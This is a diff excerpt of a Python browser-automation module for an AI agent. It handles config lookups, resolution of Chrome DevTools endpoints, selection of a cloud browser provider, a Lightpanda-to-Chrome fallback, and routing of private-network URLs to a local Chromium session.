+ result = DEFAULT_COMMAND_TIMEOUT
198
+ try:
199
+ from hermes_cli.config import read_raw_config
200
+ cfg = read_raw_config()
201
+ val = cfg_get(cfg, "browser", "command_timeout")
202
+ if val is not None:
203
+ result = max(int(val), 5) # Floor at 5s to avoid instant kills
204
+ except Exception as e:
205
+ logger.debug("Could not read command_timeout from config: %s", e)
206
+ _cached_command_timeout = result
207
+ return result
208
+
209
+
210
+ def _get_vision_model() -> Optional[str]:
211
+ """Model for browser_vision (screenshot analysis — multimodal)."""
212
+ return os.getenv("AUXILIARY_VISION_MODEL", "").strip() or None
213
+
214
+
215
+ def _get_extraction_model() -> Optional[str]:
216
+ """Model for page snapshot text summarization — same as web_extract."""
217
+ return os.getenv("AUXILIARY_WEB_EXTRACT_MODEL", "").strip() or None
218
+
219
+
220
+ def _resolve_cdp_override(cdp_url: str) -> str:
221
+ """Normalize a user-supplied CDP endpoint into a concrete connectable URL.
222
+
223
+ Accepts:
224
+ - full websocket endpoints: ws://host:port/devtools/browser/...
225
+ - HTTP discovery endpoints: http://host:port or http://host:port/json/version
226
+ - bare websocket host:port values like ws://host:port
227
+
228
+ For discovery-style endpoints we fetch /json/version and return the
229
+ webSocketDebuggerUrl so downstream tools always receive a concrete browser
230
+ websocket instead of an ambiguous host:port URL.
231
+ """
232
+ raw = (cdp_url or "").strip()
233
+ if not raw:
234
+ return ""
235
+
236
+ lowered = raw.lower()
237
+ if "/devtools/browser/" in lowered:
238
+ return raw
239
+
240
+ discovery_url = raw
241
+ if lowered.startswith(("ws://", "wss://")):
242
+ if raw.count(":") == 2 and raw.rstrip("/").rsplit(":", 1)[-1].isdigit() and "/" not in raw.split(":", 2)[-1]:
243
+ discovery_url = ("http://" if lowered.startswith("ws://") else "https://") + raw.split("://", 1)[1]
244
+ else:
245
+ return raw
246
+
247
+ if discovery_url.lower().endswith("/json/version"):
248
+ version_url = discovery_url
249
+ else:
250
+ version_url = discovery_url.rstrip("/") + "/json/version"
251
+
252
+ try:
253
+ response = requests.get(version_url, timeout=10)
254
+ response.raise_for_status()
255
+ payload = response.json()
256
+ except Exception as exc:
257
+ logger.warning("Failed to resolve CDP endpoint %s via %s: %s", raw, version_url, exc)
258
+ return raw
259
+
260
+ ws_url = str(payload.get("webSocketDebuggerUrl") or "").strip()
261
+ if ws_url:
262
+ logger.info("Resolved CDP endpoint %s -> %s", raw, ws_url)
263
+ return ws_url
264
+
265
+ logger.warning("CDP discovery at %s did not return webSocketDebuggerUrl; using raw endpoint", version_url)
266
+ return raw
267
+
268
+
269
+ def _get_cdp_override() -> str:
270
+ """Return a normalized CDP URL override, or empty string.
271
+
272
+ Precedence is:
273
+ 1. ``BROWSER_CDP_URL`` env var (live override from ``/browser connect``)
274
+ 2. ``browser.cdp_url`` in config.yaml (persistent config)
275
+
276
+ When either is set, we skip both Browserbase and the local headless
277
+ launcher and connect directly to the supplied Chrome DevTools Protocol
278
+ endpoint.
279
+ """
280
+ env_override = os.environ.get("BROWSER_CDP_URL", "").strip()
281
+ if env_override:
282
+ return _resolve_cdp_override(env_override)
283
+
284
+ try:
285
+ from hermes_cli.config import read_raw_config
286
+
287
+ cfg = read_raw_config()
288
+ browser_cfg = cfg.get("browser", {})
289
+ if isinstance(browser_cfg, dict):
290
+ return _resolve_cdp_override(str(browser_cfg.get("cdp_url", "") or ""))
291
+ except Exception as e:
292
+ logger.debug("Could not read browser.cdp_url from config: %s", e)
293
+
294
+ return ""
295
+
296
+
297
+ def _get_dialog_policy_config() -> Tuple[str, float]:
298
+ """Read ``browser.dialog_policy`` + ``browser.dialog_timeout_s`` from config.
299
+
300
+ Returns a ``(policy, timeout_s)`` tuple, falling back to the supervisor's
301
+ defaults when keys are absent or invalid.
302
+ """
303
+ # Defer imports so browser_tool can be imported in minimal environments.
304
+ from tools.browser_supervisor import (
305
+ DEFAULT_DIALOG_POLICY,
306
+ DEFAULT_DIALOG_TIMEOUT_S,
307
+ _VALID_POLICIES,
308
+ )
309
+
310
+ try:
311
+ from hermes_cli.config import read_raw_config
312
+
313
+ cfg = read_raw_config()
314
+ browser_cfg = cfg.get("browser", {}) if isinstance(cfg, dict) else {}
315
+ if not isinstance(browser_cfg, dict):
316
+ return DEFAULT_DIALOG_POLICY, DEFAULT_DIALOG_TIMEOUT_S
317
+ policy = str(browser_cfg.get("dialog_policy") or DEFAULT_DIALOG_POLICY)
318
+ if policy not in _VALID_POLICIES:
319
+ logger.debug("Invalid browser.dialog_policy=%r; using default", policy)
320
+ policy = DEFAULT_DIALOG_POLICY
321
+ timeout_raw = browser_cfg.get("dialog_timeout_s")
322
+ try:
323
+ timeout_s = float(timeout_raw) if timeout_raw is not None else DEFAULT_DIALOG_TIMEOUT_S
324
+ if timeout_s <= 0:
325
+ timeout_s = DEFAULT_DIALOG_TIMEOUT_S
326
+ except (TypeError, ValueError):
327
+ timeout_s = DEFAULT_DIALOG_TIMEOUT_S
328
+ return policy, timeout_s
329
+ except Exception:
330
+ return DEFAULT_DIALOG_POLICY, DEFAULT_DIALOG_TIMEOUT_S
331
+
332
+
333
+ def _ensure_cdp_supervisor(task_id: str) -> None:
334
+ """Start a CDP supervisor for ``task_id`` if an endpoint is reachable.
335
+
336
+ Idempotent — delegates to ``SupervisorRegistry.get_or_start`` which skips
337
+ when a supervisor for this ``(task_id, cdp_url)`` already exists and
338
+ tears down + restarts on URL change. Safe to call on every
339
+ ``browser_navigate`` / ``/browser connect`` without worrying about
340
+ double-attach.
341
+
342
+ Resolves the CDP URL in this order:
343
+ 1. ``BROWSER_CDP_URL`` / ``browser.cdp_url`` — covers ``/browser connect``
344
+ and config-set overrides.
345
+ 2. ``_active_sessions[task_id]["cdp_url"]`` — covers Browserbase + any
346
+ other cloud provider whose ``create_session`` returns a raw CDP URL.
347
+
348
+ Swallows all errors — failing to attach the supervisor must not break
349
+ the browser session itself. The agent simply won't see
350
+ ``pending_dialogs`` / ``frame_tree`` fields in snapshots.
351
+ """
352
+ cdp_url = _get_cdp_override()
353
+ if not cdp_url:
354
+ # Fallback: active session may carry a per-session CDP URL from a
355
+ # cloud provider (Browserbase sets this).
356
+ with _cleanup_lock:
357
+ session_info = _active_sessions.get(task_id, {})
358
+ maybe = str(session_info.get("cdp_url") or "")
359
+ if maybe:
360
+ cdp_url = _resolve_cdp_override(maybe)
361
+ if not cdp_url:
362
+ return
363
+ try:
364
+ from tools.browser_supervisor import SUPERVISOR_REGISTRY # type: ignore[import-not-found]
365
+
366
+ policy, timeout_s = _get_dialog_policy_config()
367
+ SUPERVISOR_REGISTRY.get_or_start(
368
+ task_id=task_id,
369
+ cdp_url=cdp_url,
370
+ dialog_policy=policy,
371
+ dialog_timeout_s=timeout_s,
372
+ )
373
+ except Exception as exc:
374
+ logger.debug(
375
+ "CDP supervisor attach for task=%s failed (non-fatal): %s",
376
+ task_id,
377
+ exc,
378
+ )
379
+
380
+
381
+ def _stop_cdp_supervisor(task_id: str) -> None:
382
+ """Stop the CDP supervisor for ``task_id`` if one exists. No-op otherwise."""
383
+ try:
384
+ from tools.browser_supervisor import SUPERVISOR_REGISTRY # type: ignore[import-not-found]
385
+
386
+ SUPERVISOR_REGISTRY.stop(task_id)
387
+ except Exception as exc:
388
+ logger.debug("CDP supervisor stop for task=%s failed (non-fatal): %s", task_id, exc)
389
+
390
+
391
+ # ============================================================================
392
+ # Cloud Provider Registry
393
+ # ============================================================================
394
+
395
+ _PROVIDER_REGISTRY: Dict[str, type] = {
396
+ "browserbase": BrowserbaseProvider,
397
+ "browser-use": BrowserUseProvider,
398
+ "firecrawl": FirecrawlProvider,
399
+ }
400
+
401
+ _cached_cloud_provider: Optional[CloudBrowserProvider] = None
402
+ _cloud_provider_resolved = False
403
+ _allow_private_urls_resolved = False
404
+ _cached_allow_private_urls: Optional[bool] = None
405
+ _cached_agent_browser: Optional[str] = None
406
+ _agent_browser_resolved = False
407
+
408
+ # Lightpanda engine support — cached like _get_cloud_provider().
409
+ # agent-browser v0.25.3+ supports ``--engine lightpanda`` natively.
410
+ _cached_browser_engine: Optional[str] = None
411
+ _browser_engine_resolved = False
412
+
413
+
414
+ def _get_cloud_provider() -> Optional[CloudBrowserProvider]:
415
+ """Return the configured cloud browser provider, or None for local mode.
416
+
417
+ Reads ``config["browser"]["cloud_provider"]`` once and caches the result
418
+ for the process lifetime. An explicit ``local`` provider disables cloud
419
+ fallback. If unset, fall back to Browserbase when direct or managed
420
+ Browserbase credentials are available.
421
+ """
422
+ global _cached_cloud_provider, _cloud_provider_resolved
423
+ if _cloud_provider_resolved:
424
+ return _cached_cloud_provider
425
+
426
+ resolved: Optional[CloudBrowserProvider] = None
427
+ try:
428
+ from hermes_cli.config import read_raw_config
429
+ cfg = read_raw_config()
430
+ browser_cfg = cfg.get("browser", {})
431
+ provider_key = None
432
+ if isinstance(browser_cfg, dict) and "cloud_provider" in browser_cfg:
433
+ provider_key = normalize_browser_cloud_provider(
434
+ browser_cfg.get("cloud_provider")
435
+ )
436
+ if provider_key == "local":
437
+ _cached_cloud_provider = None
438
+ _cloud_provider_resolved = True
439
+ return None
440
+ if provider_key and provider_key in _PROVIDER_REGISTRY:
441
+ try:
442
+ resolved = _PROVIDER_REGISTRY[provider_key]()
443
+ except Exception:
444
+ logger.warning(
445
+ "Failed to instantiate explicit cloud_provider %r; will retry on next call",
446
+ provider_key,
447
+ exc_info=True,
448
+ )
449
+ return None
450
+ except Exception as e:
451
+ # Config file may be temporarily unreadable; still try auto-detect so
452
+ # env-based / managed-gateway credentials can resolve. Don't pin cache.
453
+ logger.debug("Could not read cloud_provider from config: %s", e)
454
+
455
+ if resolved is None:
456
+ # Prefer Browser Use (managed Nous gateway or direct API key),
457
+ # fall back to Browserbase (direct credentials only).
458
+ try:
459
+ fallback_provider = BrowserUseProvider()
460
+ if fallback_provider.is_configured():
461
+ resolved = fallback_provider
462
+ else:
463
+ fallback_provider = BrowserbaseProvider()
464
+ if fallback_provider.is_configured():
465
+ resolved = fallback_provider
466
+ except Exception: # pragma: no cover - defensive: never poison cache
467
+ logger.debug("Cloud provider auto-detect failed", exc_info=True)
468
+ return None
469
+
470
+ if resolved is None:
471
+ # Transient None — credentials may self-heal. Don't poison the cache.
472
+ return None
473
+
474
+ _cached_cloud_provider = resolved
475
+ _cloud_provider_resolved = True
476
+ return _cached_cloud_provider
477
+
478
+
479
+ from calvyn_constants import is_termux as _is_termux_environment
480
+
481
+
482
+ def _browser_install_hint() -> str:
483
+ if _is_termux_environment():
484
+ return "npm install -g agent-browser && agent-browser install"
485
+ return "npm install -g agent-browser && agent-browser install --with-deps"
486
+
487
+
488
+ def _requires_real_termux_browser_install(browser_cmd: str) -> bool:
489
+ return _is_termux_environment() and _is_local_mode() and browser_cmd.strip() == "npx agent-browser"
490
+
491
+
492
+ def _termux_browser_install_error() -> str:
493
+ return (
494
+ "Local browser automation on Termux cannot rely on the bare npx fallback. "
495
+ f"Install agent-browser explicitly first: {_browser_install_hint()}"
496
+ )
497
+
498
+
499
+ def _is_local_mode() -> bool:
500
+ """Return True when the browser tool will use a local browser backend."""
501
+ if _get_cdp_override():
502
+ return False
503
+ return _get_cloud_provider() is None
504
+
505
+
506
+ def _is_local_backend() -> bool:
507
+ """Return True when the browser runs locally (no cloud provider).
508
+
509
+ SSRF protection is only meaningful for cloud backends (Browserbase,
510
+ BrowserUse) where the agent could reach internal resources on a remote
511
+ machine. For local backends — Camofox, or the built-in headless
512
+ Chromium without a cloud provider — the user already has full terminal
513
+ and network access on the same machine, so the check adds no security
514
+ value.
515
+ """
516
+ return _is_camofox_mode() or _get_cloud_provider() is None
517
+
518
+
519
+ _auto_local_for_private_urls_resolved = False
520
+ _cached_auto_local_for_private_urls: bool = True
521
+
522
+
523
+ def _get_browser_engine() -> str:
524
+ """Return the configured browser engine (``auto``, ``lightpanda``, or ``chrome``).
525
+
526
+ Reads ``config["browser"]["engine"]`` once and caches the result.
527
+ Falls back to the ``AGENT_BROWSER_ENGINE`` env var, then ``auto``.
528
+
529
+ ``auto`` means: don't pass ``--engine`` at all (agent-browser defaults to
530
+ Chrome). ``lightpanda`` or ``chrome`` are forwarded as
531
+ ``--engine <value>`` to agent-browser v0.25.3+.
532
+
533
+ Lightpanda is 1.3-5.8x faster on navigation but has no graphical
534
+ renderer (no screenshots).
535
+ """
536
+ global _cached_browser_engine, _browser_engine_resolved
537
+ if _browser_engine_resolved:
538
+ return _cached_browser_engine
539
+
540
+ _browser_engine_resolved = True
541
+ _cached_browser_engine = "auto" # safe default
542
+
543
+ # Config file takes priority
544
+ try:
545
+ from hermes_cli.config import read_raw_config
546
+ cfg = read_raw_config()
547
+ val = cfg.get("browser", {}).get("engine")
548
+ if val and str(val).strip():
549
+ _cached_browser_engine = str(val).strip().lower()
550
+ except Exception as e:
551
+ logger.debug("Could not read browser.engine from config: %s", e)
552
+
553
+ # Fall back to env var (only if config didn't set a value)
554
+ if _cached_browser_engine == "auto":
555
+ env_val = os.environ.get("AGENT_BROWSER_ENGINE", "").strip().lower()
556
+ if env_val:
557
+ _cached_browser_engine = env_val
558
+
559
+ # Validate: agent-browser only accepts "chrome" and "lightpanda".
560
+ _VALID_ENGINES = {"auto", "lightpanda", "chrome"}
561
+ if _cached_browser_engine not in _VALID_ENGINES:
562
+ logger.warning(
563
+ "Unknown browser engine %r (valid: %s), falling back to 'auto'",
564
+ _cached_browser_engine, ", ".join(sorted(_VALID_ENGINES)),
565
+ )
566
+ _cached_browser_engine = "auto"
567
+
568
+ return _cached_browser_engine
569
+
570
+
571
+ def _should_inject_engine(engine: str) -> bool:
572
+ """Return True when the engine flag should be added to agent-browser commands.
573
+
574
+ Only inject ``--engine`` for non-cloud, non-camofox local sessions where
575
+ the engine is explicitly set (not ``auto``).
576
+ """
577
+ if engine == "auto":
578
+ return False
579
+ if _is_camofox_mode():
580
+ return False
581
+ return _is_local_mode()
582
+
583
+
584
+ def _using_lightpanda_engine() -> bool:
585
+ """Return True when local browser commands are configured for Lightpanda."""
586
+ return _get_browser_engine() == "lightpanda"
587
+
588
+
589
+ def _lightpanda_fallback_reason(engine: str, command: str, result: Dict[str, Any]) -> Optional[str]:
590
+ """Return the user-visible reason a Lightpanda result needs Chrome fallback.
591
+
592
+ ``None`` means no fallback should run. The returned string is copied into
593
+ the fallback result so CLI/TUI/gateway users can see when Hermes silently
594
+ switched from Lightpanda to Chrome for completeness.
595
+ """
596
+ if engine != "lightpanda":
597
+ return None
598
+
599
+ # Only retry commands where Chrome can meaningfully produce a different
600
+ # result. Session-management commands (close, record) are tied to the
601
+ # engine's daemon and can't be retried on a different engine.
602
+ _FALLBACK_ELIGIBLE = {"open", "snapshot", "screenshot", "eval", "click",
603
+ "fill", "scroll", "back", "press", "console", "errors"}
604
+ if command not in _FALLBACK_ELIGIBLE:
605
+ return None
606
+
607
+ # Explicit failure
608
+ if not result.get("success"):
609
+ error = str(result.get("error") or "command failed").strip()
610
+ return f"Lightpanda {command!r} failed ({error}); retried with Chrome."
611
+
612
+ data = result.get("data", {})
613
+
614
+ if command == "snapshot":
615
+ snap = data.get("snapshot", "")
616
+ # Empty or near-empty snapshots indicate Lightpanda couldn't render
617
+ if not snap or len(snap.strip()) < 20:
618
+ return "Lightpanda returned an empty/too-short snapshot; retried with Chrome."
619
+
620
+ if command == "screenshot":
621
+ # Lightpanda returns a placeholder PNG with its panda logo.
622
+ # Since LP PR #1766 resized it to 1920x1080, the placeholder is
623
+ # ~17 KB. Real Chromium screenshots are typically 100 KB+.
624
+ path = data.get("path", "")
625
+ if path:
626
+ try:
627
+ size = os.path.getsize(path)
628
+ if size < 20480:
629
+ logger.debug("Lightpanda screenshot is suspiciously small (%d bytes), "
630
+ "triggering Chrome fallback", size)
631
+ return (
632
+ f"Lightpanda screenshot was suspiciously small ({size} bytes); "
633
+ "retried with Chrome."
634
+ )
635
+ except OSError:
636
+ return "Lightpanda screenshot file was missing/unreadable; retried with Chrome."
637
+
638
+ return None
639
+
640
+
641
+ def _needs_lightpanda_fallback(engine: str, command: str, result: Dict[str, Any]) -> bool:
642
+ """Check if a Lightpanda result should trigger an automatic Chrome fallback."""
643
+ return _lightpanda_fallback_reason(engine, command, result) is not None
644
+
645
+
646
+ def _annotate_lightpanda_fallback(result: Dict[str, Any], reason: str) -> Dict[str, Any]:
647
+ """Add a user-visible Chrome fallback warning to a browser command result."""
648
+ warning = (
649
+ "⚠ Lightpanda fallback: Chrome was used for this browser action. "
650
+ f"{reason}"
651
+ )
652
+ annotated = dict(result)
653
+ annotated["fallback_warning"] = warning
654
+ annotated["browser_engine"] = "chrome"
655
+ annotated["browser_engine_fallback"] = {
656
+ "from": "lightpanda",
657
+ "to": "chrome",
658
+ "reason": reason,
659
+ }
660
+ data = annotated.get("data")
661
+ if isinstance(data, dict):
662
+ data = dict(data)
663
+ data.setdefault("fallback_warning", warning)
664
+ data.setdefault("browser_engine", "chrome")
665
+ data.setdefault(
666
+ "browser_engine_fallback",
667
+ {"from": "lightpanda", "to": "chrome", "reason": reason},
668
+ )
669
+ annotated["data"] = data
670
+ return annotated
671
+
672
+
673
+ def _copy_fallback_warning(target: Dict[str, Any], result: Dict[str, Any]) -> Dict[str, Any]:
674
+ """Copy browser fallback metadata from an internal result into a tool response."""
675
+ if result.get("fallback_warning"):
676
+ target["fallback_warning"] = result["fallback_warning"]
677
+ target["browser_engine"] = result.get("browser_engine")
678
+ target["browser_engine_fallback"] = result.get("browser_engine_fallback")
679
+ return target
680
+
681
+
682
+ def _run_chrome_fallback_command(
683
+ task_id: str,
684
+ command: str,
685
+ args: List[str],
686
+ timeout: int,
687
+ ) -> Dict[str, Any]:
688
+ """Run a browser command in a temporary Chrome session at the current URL.
689
+
690
+ agent-browser locks the engine when a named daemon starts. Passing
691
+ ``--engine chrome`` to the same Lightpanda ``--session`` cannot change that
692
+ running daemon. This helper always uses a fresh temporary Chrome session,
693
+ navigates it to the current Lightpanda URL, runs ``command``, then tears it
694
+ down.
695
+ """
696
+ import uuid
697
+
698
+ # 1. Grab the current URL from the Lightpanda session. Use
699
+ # ``_engine_override=\"auto\"`` so this helper does not recursively trigger
700
+ # Lightpanda→Chrome fallback if the eval call itself fails.
701
+ url_result = _run_browser_command(
702
+ task_id, "eval", ["window.location.href"], timeout=10, _engine_override="auto"
703
+ )
704
+ current_url = None
705
+ if url_result.get("success"):
706
+ current_url = url_result.get("data", {}).get("result", "").strip().strip('"').strip("'")
707
+ if not current_url:
708
+ logger.warning("Chrome fallback: could not determine current URL from LP session")
709
+ return {"success": False, "error": "Chrome fallback failed: could not determine current URL"}
710
+
711
+ # 2. Create a temporary Chrome session (bypasses _get_session_info's cache).
712
+ tmp_session = f"h_cfb_{uuid.uuid4().hex[:8]}"
713
+ try:
714
+ browser_cmd = _find_agent_browser()
715
+ except FileNotFoundError as e:
716
+ return {"success": False, "error": str(e)}
717
+
718
+ if not _chromium_installed():
719
+ if _running_in_docker():
720
+ hint = (
721
+ "Chrome fallback requires Chromium, but it is missing. "
722
+ "You're running in Docker — pull the latest image: "
723
+ "docker pull ghcr.io/nousresearch/hermes-agent:latest"
724
+ )
725
+ else:
726
+ hint = (
727
+ "Chrome fallback requires Chromium, but it is missing. Install it with: "
728
+ "npx agent-browser install --with-deps "
729
+ "(or: npx playwright install --with-deps chromium)"
730
+ )
731
+ return {"success": False, "error": hint}
732
+
733
+ # On Windows npx is npx.cmd — use shutil.which so CreateProcessW can
734
+ # execute the batch shim. shutil.which honours PATHEXT on Windows and
735
+ # returns the plain executable on POSIX. If npx isn't on PATH (Termux,
736
+ # bare container), fall back to the bare name and let Popen raise with
737
+ # a readable "FileNotFoundError: 'npx'" rather than WinError 193.
738
+ if browser_cmd == "npx agent-browser":
739
+ _npx_bin = shutil.which("npx") or "npx"
740
+ cmd_prefix = [_npx_bin, "agent-browser"]
741
+ else:
742
+ cmd_prefix = [browser_cmd]
743
+ base_args = cmd_prefix + ["--engine", "chrome", "--session", tmp_session, "--json"]
744
+
745
+ task_socket_dir = os.path.join(_socket_safe_tmpdir(), f"agent-browser-{tmp_session}")
746
+ os.makedirs(task_socket_dir, mode=0o700, exist_ok=True)
747
+ browser_env = {**os.environ, "AGENT_BROWSER_SOCKET_DIR": task_socket_dir}
748
+ browser_env["PATH"] = _merge_browser_path(browser_env.get("PATH", ""))
749
+
750
+ if "AGENT_BROWSER_IDLE_TIMEOUT_MS" not in browser_env:
751
+ browser_env["AGENT_BROWSER_IDLE_TIMEOUT_MS"] = str(BROWSER_SESSION_INACTIVITY_TIMEOUT * 1000)
752
+
753
+ def _run_tmp(cmd: str, cmd_args: List[str]) -> Dict[str, Any]:
754
+ full = base_args + [cmd] + cmd_args
755
+ # Use temp-file stdout/stderr pattern (same as _run_browser_command)
756
+ # to avoid pipe hang from agent-browser daemon inheriting fds.
757
+ stdout_path = os.path.join(task_socket_dir, f"_stdout_{cmd}")
758
+ stderr_path = os.path.join(task_socket_dir, f"_stderr_{cmd}")
759
+ stdout_fd = os.open(stdout_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
760
+ stderr_fd = os.open(stderr_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
761
+ try:
762
+ # On Windows, launch the child in a new process group so parent
763
+ # console Ctrl+C doesn't kill it with STATUS_CONTROL_C_EXIT
764
+ # (0xC000013A = rc 3221225786), AND insulate its stdio + handle
765
+ # inheritance from the parent.
766
+ #
767
+ # Additional Windows hardening beyond CREATE_NEW_PROCESS_GROUP:
768
+ # * STARTF_USESTDHANDLES + explicit handles → CreateProcess hands
769
+ # the child ONLY our three chosen handles (DEVNULL stdin +
770
+ # temp-file stdout/stderr). Without this, some parents leak
771
+ # console handles that break downstream grandchild spawns — the
772
+ # agent-browser Rust binary spawns a detached daemon grandchild,
773
+ # and that grandchild's CreateProcess dies silently
774
+ # ("Daemon process exited during startup with no error output")
775
+ # when inherited parent handles are in a weird state. Observed
776
+ # in the Hermes CLI where sys.stdout and sys.stderr both report
777
+ # fileno=1 (stderr dup'd onto stdout at the OS level).
778
+ # * close_fds=True → block inheritance of every other handle.
779
+ # (Default on POSIX; must be explicit on Windows for stdio.)
780
+ _popen_extra: dict = {}
781
+ if os.name == "nt":
782
+ # CREATE_NO_WINDOW → don't attach a console (cmd.exe would
783
+ # otherwise briefly allocate one for the .cmd shim).
784
+ # Do NOT add CREATE_NEW_PROCESS_GROUP: on Python 3.11 Windows
785
+ # it interacts with asyncio's ProactorEventLoop such that the
786
+ # subprocess creation cancels the running loop task, which
787
+ # surfaces as KeyboardInterrupt in app.run() and tears down
788
+ # the CLI mid-turn. The agent thread's subprocess spawn
789
+ # unwound MainThread's prompt_toolkit loop that way — see
790
+ # diag log: "asyncio.CancelledError → KeyboardInterrupt".
791
+ _CREATE_NO_WINDOW = 0x08000000
792
+ _popen_extra["creationflags"] = _CREATE_NO_WINDOW
793
+ _popen_extra["close_fds"] = True
794
+ _si = subprocess.STARTUPINFO()
795
+ _si.dwFlags |= subprocess.STARTF_USESTDHANDLES
796
+ _popen_extra["startupinfo"] = _si
797
+ proc = subprocess.Popen(
798
+ full, stdout=stdout_fd, stderr=stderr_fd,
799
+ stdin=subprocess.DEVNULL, env=browser_env,
800
+ **_popen_extra,
801
+ )
802
+ finally:
803
+ os.close(stdout_fd)
804
+ os.close(stderr_fd)
805
+ try:
806
+ proc.wait(timeout=timeout)
807
+ except subprocess.TimeoutExpired:
808
+ proc.kill()
809
+ proc.wait()
810
+ return {"success": False, "error": f"Chrome fallback '{cmd}' timed out"}
811
+ try:
812
+ with open(stdout_path, "r", encoding="utf-8") as f:
813
+ stdout = f.read().strip()
814
+ if stdout:
815
+ return json.loads(stdout.split("\n")[-1])
816
+ except Exception as exc:
817
+ logger.debug("Chrome fallback tmp cmd '%s' error: %s", cmd, exc)
818
+ finally:
819
+ for pth in (stdout_path, stderr_path):
820
+ try:
821
+ os.unlink(pth)
822
+ except OSError:
823
+ pass
824
+ return {"success": False, "error": f"Chrome fallback '{cmd}' failed"}
825
+
826
+ try:
827
+ # 3. Navigate Chrome to the same URL.
828
+ nav = _run_tmp("open", [current_url])
829
+ if not nav.get("success"):
830
+ logger.warning("Chrome fallback: navigate failed: %s", nav.get("error"))
831
+ return {"success": False, "error": f"Chrome fallback navigate failed: {nav.get('error')}"}
832
+
833
+ # 4. Run the requested command in Chrome.
834
+ return _run_tmp(command, args)
835
+
836
+ finally:
837
+ # 5. Tear down the temporary Chrome session.
838
+ try:
839
+ _run_tmp("close", [])
840
+ except Exception:
841
+ pass
842
+ # Clean up socket directory
843
+ import shutil as _shutil
844
+ _shutil.rmtree(task_socket_dir, ignore_errors=True)
845
+
846
+
847
+ def _chrome_fallback_screenshot(
848
+ task_id: str,
849
+ args: List[str],
850
+ timeout: int,
851
+ ) -> Dict[str, Any]:
852
+ """Take a screenshot using a temporary Chrome session."""
853
+ return _run_chrome_fallback_command(task_id, "screenshot", args, timeout)
854
+
855
+
856
+ def _auto_local_for_private_urls() -> bool:
857
+ """Return whether a cloud-configured install should auto-spawn a local
858
+ Chromium for LAN/localhost URLs.
859
+
860
+ Reads ``browser.auto_local_for_private_urls`` once (default ``True``) and
861
+ caches it for the process lifetime. When enabled, ``browser_navigate``
862
+ routes URLs whose host resolves to a private/loopback/LAN address to a
863
+ local headless Chromium sidecar even when a cloud provider (Browserbase
864
+ / Browser-Use / Firecrawl) is configured globally. Public URLs continue
865
+ to use the cloud provider in the same conversation.
866
+ """
867
+ global _auto_local_for_private_urls_resolved, _cached_auto_local_for_private_urls
868
+ if _auto_local_for_private_urls_resolved:
869
+ return _cached_auto_local_for_private_urls
870
+
871
+ _auto_local_for_private_urls_resolved = True
872
+ try:
873
+ from hermes_cli.config import read_raw_config
874
+ cfg = read_raw_config()
875
+ browser_cfg = cfg.get("browser", {})
876
+ if isinstance(browser_cfg, dict) and "auto_local_for_private_urls" in browser_cfg:
877
+ _cached_auto_local_for_private_urls = bool(
878
+ browser_cfg.get("auto_local_for_private_urls")
879
+ )
880
+ except Exception as e:
881
+ logger.debug("Could not read auto_local_for_private_urls from config: %s", e)
882
+ return _cached_auto_local_for_private_urls
883
+
884
+
885
+ def _url_is_private(url: str) -> bool:
886
+ """Return True when the URL's host resolves to a private/LAN/loopback address.
887
+
888
+ Reuses ``tools.url_safety.is_safe_url`` as the oracle — if the SSRF check
889
+ would reject the URL, we treat it as "private" for routing purposes. DNS
890
+ resolution failures are treated as NOT private (fall through to whatever
891
+ backend is configured, which will surface the DNS error naturally).
892
+ """
893
+ try:
894
+ # is_safe_url returns False for private/loopback/link-local/CGNAT AND
895
+ # for DNS failures. We only want the private-network case here, so
896
+ # we parse + check the host shape as a DNS-failure sieve first.
897
+ from urllib.parse import urlparse
898
+ import ipaddress
899
+ import socket
900
+ parsed = urlparse(url)
901
+ hostname = (parsed.hostname or "").strip().lower().rstrip(".")
902
+ if not hostname:
903
+ return False
904
+ # Literal IP → check directly
905
+ try:
906
+ ip = ipaddress.ip_address(hostname)
907
+ return (
908
+ ip.is_private
909
+ or ip.is_loopback
910
+ or ip.is_link_local
911
+ # 172.16.0.0/12: only covered by ip.is_private on Python
912
+ # ≄3.11 (bpo-40791). Explicit check keeps 3.10 runtimes
913
+ # routing these to the local sidecar correctly.
914
+ or ip in ipaddress.ip_network("172.16.0.0/12")
915
+ or ip in ipaddress.ip_network("100.64.0.0/10")
916
+ )
917
+ except ValueError:
918
+ pass
919
+ # Hostname — must resolve to confirm it's private (bare "localhost"
920
+ # resolves to 127.0.0.1 via /etc/hosts). Short-circuit on obvious
921
+ # names to avoid a DNS hop.
922
+ if hostname in {"localhost",} or hostname.endswith(".localhost"):
923
+ return True
924
+ if hostname.endswith(".local") or hostname.endswith(".lan") or hostname.endswith(".internal"):
925
+ return True
926
+ try:
927
+ addr_info = socket.getaddrinfo(hostname, None, socket.AF_UNSPEC, socket.SOCK_STREAM)
928
+ except socket.gaierror:
929
+ return False # DNS fail → not private, let the normal path fail
930
+ for _, _, _, _, sockaddr in addr_info:
931
+ try:
932
+ ip = ipaddress.ip_address(sockaddr[0])
933
+ except ValueError:
934
+ continue
935
+ if (
936
+ ip.is_private
937
+ or ip.is_loopback
938
+ or ip.is_link_local
939
+ or ip in ipaddress.ip_network("100.64.0.0/10")
940
+ ):
941
+ return True
942
+ return False
943
+ except Exception as exc:
944
+ logger.debug("URL-privacy check failed for %s: %s", url, exc)
945
+ return False
946
+
947
+
948
+ def _navigation_session_key(task_id: str, url: str) -> str:
949
+ """Pick the session key that should handle ``url`` for ``task_id``.
950
+
951
+ Returns the bare task_id unless ALL of these are true:
952
+ 1. A cloud provider is configured (``_get_cloud_provider()`` is not None).
953
+ 2. Auto-local routing is enabled (``browser.auto_local_for_private_urls``,
954
+ default True).
955
+ 3. The URL resolves to a private/LAN/loopback address.
956
+ 4. A CDP override is not active (that path owns the whole session).
957
+ 5. Camofox mode is not active (Camofox is already local-only).
958
+
959
+ When all are true, returns ``f"{task_id}::local"`` so the hybrid-routing
960
+ path spawns a local Chromium sidecar while the cloud session (if any)
961
+ continues to serve public URLs.
962
+ """
963
+ if task_id is None:
964
+ task_id = "default"
965
+ if _get_cdp_override():
966
+ return task_id
967
+ if _is_camofox_mode():
968
+ return task_id
969
+ if _get_cloud_provider() is None:
970
+ return task_id
971
+ if not _auto_local_for_private_urls():
972
+ return task_id
973
+ if not _url_is_private(url):
974
+ return task_id
975
+ return f"{task_id}{_LOCAL_SUFFIX}"
976
+
977
+
978
+ def _is_local_sidecar_key(session_key: str) -> bool:
979
+ """Return True when ``session_key`` is a hybrid-routing local sidecar."""
980
+ return session_key.endswith(_LOCAL_SUFFIX)
981
+
982
+
983
